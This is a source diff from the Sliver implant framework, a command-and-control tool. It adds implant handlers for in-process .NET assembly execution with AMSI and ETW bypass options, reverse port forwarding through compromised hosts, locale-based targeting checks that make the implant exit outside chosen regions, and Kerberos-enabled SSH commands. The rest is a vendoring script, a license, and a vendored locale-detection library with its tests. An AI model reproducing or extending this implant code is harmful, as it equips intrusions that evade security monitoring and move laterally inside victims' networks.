gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
gopkg.in/jcmturner/aescts.v1 v1.0.1 // indirect
gopkg.in/jcmturner/dnsutils.v1 v1.0.1 // indirect
gopkg.in/jcmturner/goidentity.v3 v3.0.0 // indirect
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)
+57 -898
View File
File diff suppressed because it is too large. Load diff
+17 -7
View File
@@ -1,17 +1,31 @@
#!/bin/sh
#!/bin/bash
set -e
cleanup() {
[ ! -z "$1" ] && echo "Error $1 occurred on $2"
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
}
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
# copy Go module related files
pwd="$(pwd)"
tempDir="$(mktemp -d -p $pwd)"
tempDir="$(mktemp -d)"
cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# Trap when a build fails so we can reset the environment
trap 'cleanup $? $LINENO' ERR
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
@@ -20,8 +34,4 @@ go mod tidy -compat=1.17
go mod vendor
# move updated files back
mv "${tempDir}/vendor" ../../vendor
mv "${tempDir}/go.mod" ../../go-mod
mv "${tempDir}/go.sum" ../../go-sum
cd ..
rm -rf "$tempDir"
cleanup
+9
View File
@@ -182,6 +182,15 @@ func (c *CipherContext) Encrypt(plaintext []byte) ([]byte, error) {
return ciphertext, nil
}
// GetExactOTPCode - Get the OTP code for a specific timestamp
func GetExactOTPCode(timestamp time.Time) string {
code, _ := totp.GenerateCodeCustom(totpSecret, timestamp, totpOptions)
// {{if .Config.Debug}}
log.Printf("TOTP Code (%s): %s", timestamp, code)
// {{end}}
return code
}
// GetOTPCode - Get the current OTP code
func GetOTPCode() string {
now := time.Now().UTC()
+42
View File
@@ -0,0 +1,42 @@
package cryptography
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
)
var (
// TLSKeyLogger - File descriptor for logging TLS keys
TLSKeyLogger = newKeyLogger()
)
func newKeyLogger() *os.File {
// {{if .Config.Debug}}
keyFilePath, present := os.LookupEnv("SSLKEYLOGFILE")
if present {
keyFile, err := os.OpenFile(keyFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
return nil
}
return keyFile
}
// {{end}}
return nil
}
+9
View File
@@ -58,6 +58,9 @@ type TunnelHandler func(*sliverpb.Envelope, *transports.Connection)
// PivotHandler - Handler related to pivoting
type PivotHandler func(*sliverpb.Envelope, *transports.Connection)
// RportFwdHandler - Handler related to reverse port forwarding
type RportFwdHandler func(*sliverpb.Envelope, *transports.Connection)
// -----------------------------------------------------
// -----------------------------------------------------
// -----------------------------------------------------
@@ -372,6 +375,9 @@ func prepareDownload(path string, filter string, recurse bool) ([]byte, bool, in
to download a single file
*/
fileInfo, err := os.Stat(path + filter)
if err != nil {
return nil, false, 0, 1, err
}
if err == nil && !fileInfo.IsDir() {
// Then this is a single file
rawData, err := os.ReadFile(path + filter)
@@ -593,6 +599,9 @@ func executeHandler(data []byte, resp RPCResponse) {
Err: fmt.Sprintf("%s", err),
}
}
if cmd.Process != nil {
execResp.Pid = uint32(cmd.Process.Pid)
}
}
data, err = proto.Marshal(execResp)
resp(data, err)
+39 -18
View File
@@ -49,24 +49,25 @@ var (
windowsHandlers = map[uint32]RPCHandler{
// Windows Only
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgImpersonateReq: impersonateHandler,
sliverpb.MsgRevToSelfReq: revToSelfHandler,
sliverpb.MsgRunAsReq: runAsHandler,
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
sliverpb.MsgInvokeMigrateReq: migrateHandler,
sliverpb.MsgSpawnDllReq: spawnDllHandler,
sliverpb.MsgStartServiceReq: startService,
sliverpb.MsgStopServiceReq: stopService,
sliverpb.MsgRemoveServiceReq: removeService,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgProcessDumpReq: dumpHandler,
sliverpb.MsgImpersonateReq: impersonateHandler,
sliverpb.MsgRevToSelfReq: revToSelfHandler,
sliverpb.MsgRunAsReq: runAsHandler,
sliverpb.MsgInvokeGetSystemReq: getsystemHandler,
sliverpb.MsgInvokeExecuteAssemblyReq: executeAssemblyHandler,
sliverpb.MsgInvokeInProcExecuteAssemblyReq: inProcExecuteAssemblyHandler,
sliverpb.MsgInvokeMigrateReq: migrateHandler,
sliverpb.MsgSpawnDllReq: spawnDllHandler,
sliverpb.MsgStartServiceReq: startService,
sliverpb.MsgStopServiceReq: stopService,
sliverpb.MsgRemoveServiceReq: removeService,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
sliverpb.MsgExecuteWindowsReq: executeWindowsHandler,
sliverpb.MsgGetPrivsReq: getPrivsHandler,
sliverpb.MsgCurrentTokenOwnerReq: currentTokenOwnerHandler,
// Platform specific
sliverpb.MsgIfconfigReq: ifconfigHandler,
@@ -238,6 +239,26 @@ func executeAssemblyHandler(data []byte, resp RPCResponse) {
}
func inProcExecuteAssemblyHandler(data []byte, resp RPCResponse) {
execReq := &sliverpb.InvokeInProcExecuteAssemblyReq{}
err := proto.Unmarshal(data, execReq)
if err != nil {
// {{if .Config.Debug}}
log.Printf("error decoding message: %v", err)
// {{end}}
return
}
output, err := taskrunner.InProcExecuteAssembly(execReq.Data, execReq.Arguments, execReq.Runtime, execReq.AmsiBypass, execReq.EtwBypass)
execAsm := &sliverpb.ExecuteAssembly{Output: []byte(output)}
if err != nil {
execAsm.Response = &commonpb.Response{
Err: err.Error(),
}
}
data, err = proto.Marshal(execAsm)
resp(data, err)
}
func executeWindowsHandler(data []byte, resp RPCResponse) {
var (
err error
+5 -1
View File
@@ -315,7 +315,11 @@ func runSSHCommandHandler(data []byte, resp RPCResponse) {
commandReq.Username,
commandReq.Password,
commandReq.PrivKey,
commandReq.Command)
commandReq.Krb5Conf,
commandReq.Keytab,
commandReq.Realm,
commandReq.Command,
)
commandResp := &sliverpb.SSHCommand{
Response: &commonpb.Response{},
StdOut: stdout,
@@ -0,0 +1,159 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"time"
rportfwd "github.com/bishopfox/sliver/implant/sliver/rportfwd"
"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
var (
genericRportFwdHandlers = map[uint32]RportFwdHandler{
pb.MsgRportFwdListenersReq: rportFwdListenersHandler,
pb.MsgRportFwdStartListenerReq: rportFwdStartListenerHandler,
pb.MsgRportFwdStopListenerReq: rportFwdStopListenerHandler,
}
)
// GetRportFwdHandlers - Returns a map of reverse port forwarding handlers
func GetRportFwdHandlers() map[uint32]RportFwdHandler {
return genericRportFwdHandlers
}
func rportFwdListenersHandler(envelope *pb.Envelope, connection *transports.Connection) {
forwards := rportfwd.Portfwds.List()
var portfwdListeners []*pb.RportFwdListener
for _, portfwd := range forwards {
portfwdListeners = append(portfwdListeners, &pb.RportFwdListener{
ID: uint32(portfwd.ID),
BindAddress: portfwd.BindAddr,
ForwardAddress: portfwd.RemoteAddr,
})
}
data, _ := proto.Marshal(&pb.RportFwdListeners{
Listeners: portfwdListeners,
Response: &commonpb.Response{},
})
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStartListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStartListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwds := rportfwd.Portfwds.List()
for _, r := range rportfwds {
if r.BindAddr == req.BindAddress {
resp.Response.Err = "Already listening on " + r.BindAddr + "\n"
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &rportfwd.ChannelProxy{
Conn: connection,
RemoteAddr: req.ForwardAddress,
BindAddr: req.BindAddress,
KeepAlivePeriod: 1000 * time.Second,
DialTimeout: 30 * time.Second,
}
tcpProxy.AddRoute(req.BindAddress, channelProxy)
rportfwd := rportfwd.Portfwds.Add(tcpProxy, channelProxy)
go func() {
err := tcpProxy.Run()
if err != nil {
// {{if .Config.Debug}}
log.Printf("Proxy error %s", err)
// {{end}}
}
}()
resp.BindAddress = req.BindAddress
resp.ForwardAddress = req.ForwardAddress
resp.BindPort = req.ForwardPort
resp.ForwardPort = req.ForwardPort
resp.ID = uint32(rportfwd.ID)
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
func rportFwdStopListenerHandler(envelope *pb.Envelope, connection *transports.Connection) {
req := &pb.RportFwdStopListenerReq{}
resp := &pb.RportFwdListener{Response: &commonpb.Response{}}
err := proto.Unmarshal(envelope.Data, req)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
return
}
rportfwd := rportfwd.Portfwds.Remove(int(req.ID))
if rportfwd != nil {
resp.ID = uint32(rportfwd.ID)
resp.BindAddress = rportfwd.ChannelProxy.BindAddr
resp.ForwardAddress = rportfwd.ChannelProxy.RemoteAddr
} else {
resp.Response.Err = "Invalid ID\n"
}
data, _ := proto.Marshal(resp)
connection.Send <- &pb.Envelope{
ID: envelope.ID,
Data: data,
}
}
@@ -19,17 +19,18 @@ package tunnel_handlers
*/
import (
// {{if .Config.Debug}}
"log"
// {{end}}
"context"
"fmt"
"io"
"net"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -108,23 +109,31 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
Data: portfwdResp,
}
once := sync.Once{}
cleanup := func(reason error) {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
tunnel := connection.Tunnel(tunnel.ID)
once.Do(func() {
// {{if .Config.Debug}}
log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
cleanupTunnel := connection.Tunnel(tunnel.ID)
if cleanupTunnel == nil {
return
}
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: tunnel.ID,
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: cleanupTunnel.ID,
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(cleanupTunnel.ID)
if dst != nil {
dst.Close()
}
cancelContext()
})
connection.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
connection.RemoveTunnel(tunnel.ID)
dst.Close()
cancelContext()
}
go func() {
+22
View File
@@ -30,7 +30,10 @@ import (
// {{if .Config.LimitUsername}}
"os/user"
// {{end}}
// {{if .Config.LimitLocale}}
"regexp"
// {{end}}
// {{if .Config.LimitDatetime}}
@@ -40,6 +43,10 @@ import (
// {{if or .Config.LimitHostname .Config.LimitUsername}}
"strings"
// {{else}}{{end}}
// {{if .Config.LimitLocale}}
"github.com/bishopfox/sliver/implant/sliver/locale"
// {{end}}
)
// ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -104,6 +111,21 @@ func ExecLimits() {
}
// {{end}}
// {{if .Config.LimitLocale}}
locale := locale.GetLocale()
match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
if !match {
// {{if .Config.Debug}}
if err != nil {
log.Printf("LimitLocale regexp: %s", err)
} else {
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
}
// {{end}}
os.Exit(1)
}
// {{end}}
// {{if .Config.Debug}}
log.Printf("Limit checks completed")
// {{end}}
+201
View File
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding those notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. We also recommend that a
file or class name and description of purpose be included on the
same "printed page" as the copyright notice for easier
identification within third-party archives.
Copyright 2014 Pivotal
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,95 @@
# Jibber Jabber [![Build Status](https://travis-ci.org/cubiest/jibberjabber.svg?branch=master)](https://travis-ci.org/cubiest/jibberjabber)
Jibber Jabber is a GoLang Library that can be used to detect an operating system's current language, plus helper functionalities for app development.
## OS Support
UNIX: **GNU/Linux**, **macOS**, **FreeBSD**, **OpenBSD**, **NetBSD**
via the `LC_MESSAGES`, `LC_ALL` and `LANG` environment variables. They are checked in the aforementioned order.
These variables are used in ALL versions of UNIX for language detection.
**Windows**
via [GetUserDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getuserdefaultlocalename) and [GetSystemDefaultLocaleName](https://docs.microsoft.com/en-gb/windows/win32/api/winnls/nf-winnls-getsystemdefaultlocalename) system calls. These calls are supported in Windows Vista and up.
## DetectIETF
`DetectIETF` will return the current locale as a string. The format of the locale will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code, a DASH, then an [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
userLocale, err := jibberjabber.DetectIETF()
println("Locale:", userLocale)
```
## DetectLanguage
`DetectLanguage` will return the current language as a string. The format will be the [ISO 639](http://en.wikipedia.org/wiki/ISO_639) two-letter language code.
also import the following packages for parsing the returned locale
```golang
"golang.org/x/text/language"
"golang.org/x/text/language/display"
```
**Example:**
```golang
userLanguage, err := jibberjabber.DetectLanguage()
println("Language:", userLanguage)
languageTag, parseErr := language.Parse(userLanguage)
println("Language:", display.Self.Name(languageTag))
```
## DetectLanguageTag
`DetectLanguageTag` will return the current language as a language tag as specified by `"golang.org/x/text/language"`.
**Example:**
```golang
languageTag, parseErr := jibberjabber.DetectLanguageTag()
println("Language:", display.Self.Name(languageTag))
```
## DetectTerritory
`DetectTerritory` will return the current locale territory as a string. The format will be the [ISO 3166](http://en.wikipedia.org/wiki/ISO_3166-1) two-letter country code.
**Example:**
```golang
localeTerritory, err := jibberjabber.DetectTerritory()
println("Territory:", localeTerritory)
```
## About Errors in Detect
All the Detect commands will return an error if they are unable to read the Locale from the system.
For Windows, additional error information is provided due to the nature of the system call being used.
## Helper Singleton
There is a singleton you can, but don't have to, use. It helps you define and later check which locales you support in your application - if not, apply a fallback language locale.
**Example:**
```golang
langServer := jibberjabber.LanguageServer()
langServer.SetSupportedLanguages(map[language.Tag]string{
language.German: "active.de.toml",
language.English: "active.en.toml",
}
langServer.SetFallbackLanguage(language.English)
langLocale, err := langServer.StringToSupportedLanguageTag("something") // returns `language.English`
if err != nil {
log.Printf("failed fetching supported language locale, use fallback language locale %q\n", display.Self.Name(langLocale))
}
```
@@ -0,0 +1,44 @@
package jibberjabber
import (
"errors"
// "fmt"
// "sort"
"strings"
// "sync"
// "golang.org/x/text/language"
// "golang.org/x/text/language/display"
)
var (
ErrLangDetectFail = errors.New("could not detect Language")
ErrLangFallbackUndefined = errors.New("no fallback language defined")
ErrLangFallbackUnsupported = errors.New("defined fallback language is not supported")
ErrLangUnsupported = errors.New("language not supported")
ErrLangParse = errors.New("language identifier cannot be parsed")
)
func splitLocale(locale string) (string, string) {
formattedLocale := strings.Split(locale, ".")[0]
formattedLocale = strings.Replace(formattedLocale, "-", "_", -1)
pieces := strings.Split(formattedLocale, "_")
language := pieces[0]
territory := ""
if len(pieces) > 1 {
territory = strings.Split(formattedLocale, "_")[1]
}
return language, territory
}
/**
* languageServer
*/
// IsError checks an error you received from one of jibberjabber's funcs for a jibberjabber error like `ErrLangDetectFail`.
// Reason you cannot use e.g. `errors.Is()`: currently, golang does not allow native chain-wrapping errors. Therefore, `errors.Unwrap()`, `errors.Is()` & Co. won't return `true` for jibberjabber errors.
func IsError(err error, jjError error) bool {
return strings.HasPrefix(err.Error(), jjError.Error())
}
@@ -0,0 +1,13 @@
package jibberjabber_test
import (
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"testing"
)
func TestJibberJabber(t *testing.T) {
RegisterFailHandler(Fail)
RunSpecs(t, "Jibber Jabber Suite")
}
@@ -0,0 +1,44 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber
import (
"os"
"strings"
)
func getLangFromEnv() string {
for _, env := range []string{"LC_MESSAGES", "LC_ALL", "LANG"} {
locale := os.Getenv(env)
if len(locale) > 0 {
return locale
}
}
return ""
}
func getUnixLocale() (string, error) {
locale := getLangFromEnv()
if len(locale) <= 0 {
return "", ErrLangDetectFail
}
return locale, nil
}
// DetectIETF detects and returns the IETF language tag of UNIX systems, like Linux and macOS.
// If a territory is defined, the returned value will be in the format of `[language]-[territory]`,
// e.g. `en-GB`.
func DetectIETF() (string, error) {
locale, err := getUnixLocale()
if err != nil {
return "", err
}
language, territory := splitLocale(locale)
locale = language
if len(territory) > 0 {
locale = strings.Join([]string{language, territory}, "-")
}
return locale, nil
}
@@ -0,0 +1,155 @@
// +build darwin freebsd linux netbsd openbsd
package jibberjabber_test
import (
"errors"
"os"
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
)
var _ = Describe("Unix", func() {
AfterEach(func() {
os.Setenv("LC_MESSAGES", "")
os.Setenv("LC_ALL", "")
os.Setenv("LANG", "en_US.UTF-8")
})
Describe("#DetectIETF", func() {
Context("Returns IETF encoded locale", func() {
It("should return the locale set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return the locale set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectIETF()
Ω(result).Should(Equal("fr-FR"))
})
It("should return an error if it cannot detect a locale", func() {
os.Setenv("LANG", "")
_, err := DetectIETF()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
Context("when the locale is simply 'fr'", func() {
BeforeEach(func() {
os.Setenv("LANG", "fr")
})
It("should return the locale without a territory", func() {
language, err := DetectIETF()
Ω(err).ShouldNot(HaveOccurred())
Ω(language).Should(Equal("fr"))
})
})
})
Describe("#DetectLanguage", func() {
Context("Returns encoded language", func() {
It("should return the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguage()
Ω(result).Should(Equal("fr"))
})
It("should return an error if it cannot detect a language", func() {
os.Setenv("LANG", "")
_, err := DetectLanguage()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectLanguageTag", func() {
Context("Returns encoded language tag", func() {
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectLanguageTag()
base, _ := result.Base()
Ω(base.String()).Should(Equal("fr"))
region, _ := result.Region()
Ω(region.String()).Should(Equal("FR"))
})
It("should return an error if it cannot detect and parse a language tag", func() {
os.Setenv("LANG", "")
_, err := DetectLanguageTag()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
Describe("#DetectTerritory", func() {
Context("Returns encoded territory", func() {
It("should return the territory set to LC_MESSAGES", func() {
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
os.Setenv("LC_ALL", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return the territory set to LANG if LC_ALL isn't set", func() {
os.Setenv("LANG", "fr_FR.UTF-8")
result, _ := DetectTerritory()
Ω(result).Should(Equal("FR"))
})
It("should return an error if it cannot detect a territory", func() {
os.Setenv("LANG", "")
_, err := DetectTerritory()
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
})
})
})
})
@@ -0,0 +1,47 @@
